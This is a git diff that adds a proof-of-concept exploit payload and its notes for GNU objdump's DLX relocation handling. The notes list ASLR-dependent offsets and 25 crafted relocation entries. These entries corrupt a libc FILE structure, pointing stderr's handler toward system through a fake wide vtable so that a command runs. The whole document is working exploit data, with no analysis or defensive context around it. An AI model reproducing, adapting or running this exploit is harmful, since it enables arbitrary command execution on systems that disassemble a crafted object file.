diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.bin new file mode 100644 index 0000000..2502321 Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.bin differ diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.notes new file mode 100644 index 0000000..9c30314 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.notes @@ -0,0 +1,34 @@ +layout=gnu2461 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x6f42e600 +command=P +off_io=-0x3690 off_sec=0xbb8 rbase=0x190 +sec_size_offset=0x40 + +000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8 +007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8 +008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc +009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc +010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE